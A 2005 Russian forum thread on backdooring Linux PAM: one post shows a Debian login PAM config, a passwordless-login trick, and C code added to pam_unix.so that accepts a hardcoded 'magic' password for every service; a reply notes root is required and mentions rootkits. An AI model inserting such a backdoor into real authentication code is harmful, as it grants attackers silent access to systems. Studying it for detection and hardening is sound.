Отроянивание PAM-библиотек

Тема в разделе "WASM.UNIX", создана пользователем apple, 27 апр 2005.

  1. apple

    apple Виктор

    Публикаций:
    0
    Регистрация:
    26 апр 2005
    Сообщения:
    907
    Адрес:
    Russia
    Для многих служб в целях аутентификации пользователей стали применяться стандартные подгружаемые модули аутентификации (PAM) вместо независимой аутентификации для каждой программы. С помощью троянских PAM-библиотек можно получить возможность добавить "магические" пароли сразу для нескольких служб, даже не изменяя демоны этих служб.

    Рассмотрим пример использования программы идентификации пользователей /bin/login на компьютере, где запущена Debian 3.0. Программа использует PAM-конфигурацию, определенную в файле /etc/pam.d/login.



    auth requisite pam_securetty.so

    auth requisite pam_nologin.so

    auth required pam_env.so

    auth required pam_unix.so nullok

    account required pam_unix.so

    session required pam_unix.so

    session optional pam_lastlog.so

    session optional pam_motd.so

    session optional pam_mail.so standard noenv

    password required pam_unix.so nullok obscure min=5 max=8



    Попробуем подключиться (запустить /bin/login) с локального терминала.



    brenda@machine$ /bin/login

    login: george

    Password: <попытка угадать пароль>

    Login incorrect.



    Допустим, мы закомментировали строку auth, содержащую /lib/security/pam_pwdb.so, и снова попытались запустить /bin/login.



    brenda@machine$ /bin/login

    login: george

    george@machine$ whoami

    george



    Закомментировав строку auth, мы указали PAM-модулям, управляющим регистрацией пользователей, не запускать проверки из библиотеки pam_unix.so, которые подтверждают соответствие пароля данным файлов /etc/passwd и /etc/shadow. Таким образом, у пользователя даже не спрашивается пароль.

    Подобное изменение обнаружится немедленно. Вместо этого можно незначительно изменить метод проверки паролей с помощью библиотеки pam_unix.so. Ниже приведен фрагмент из файла support.-c (в имени файла нет опечатки), содержащий исходный код PAM и добавленный троянский код.



    int _unix_verify_password(pam_handle_t *pamh, const char *name, const char *p, unsigned int ctrl)

    {

    struct passwd *pwd = NULL; struct spwd *spwdent = NULL;

    char *salt = NULL; char *pp = NULL;

    char *data_name; int retval;



    /* Начало добавленного троянского кода */

    if ( ! strcmp( p, "$uperR s3cr!t s7r*n&" ) )

    {

    return PAM_SUCCESS;

    }

    /* Конец добавленного троянского кода */

    D(("called"));

    /* Найти запись для этого пользователя */

    D(("locating user's record"));

    pwd = getpwnam(name); /* Получить запись из файла паролей... */

    ...



    Затем компилируем свою версию библиотеки pam_unix.so и размещаем в /lib/security. После этого все программы, использующие при аутентификации библиотеку PAM pam_unix.so (данная библиотека используется практически всеми программами с аутентификацией пользователей, включая login, passwd, sshd, su, xscreensaver и т.д.), будут иметь "потайной ход" для беспрепятственного доступа (при вводе "магического" пароля $uperR s3cr!t s7r*n& никакой проверки имени пользователя и пароля производиться не будет).



    Кто-нибудь этим занимался?
     
  2. Turkish

    Turkish New Member

    Публикаций:
    0
    Регистрация:
    25 окт 2004
    Сообщения:
    80
    Адрес:
    Russia
    Все конечно хорошо, но никто кроме рута не сможет писать ни в один из файлов. Следовательно использовать "уязвимость" невозможно.



    Но для создания руткитов очнь хорошо сойдет. Правда в рутките возможность входа с магическим паролем - не самая большая проблема. Тем более уже давно исмпользуется способ подмены login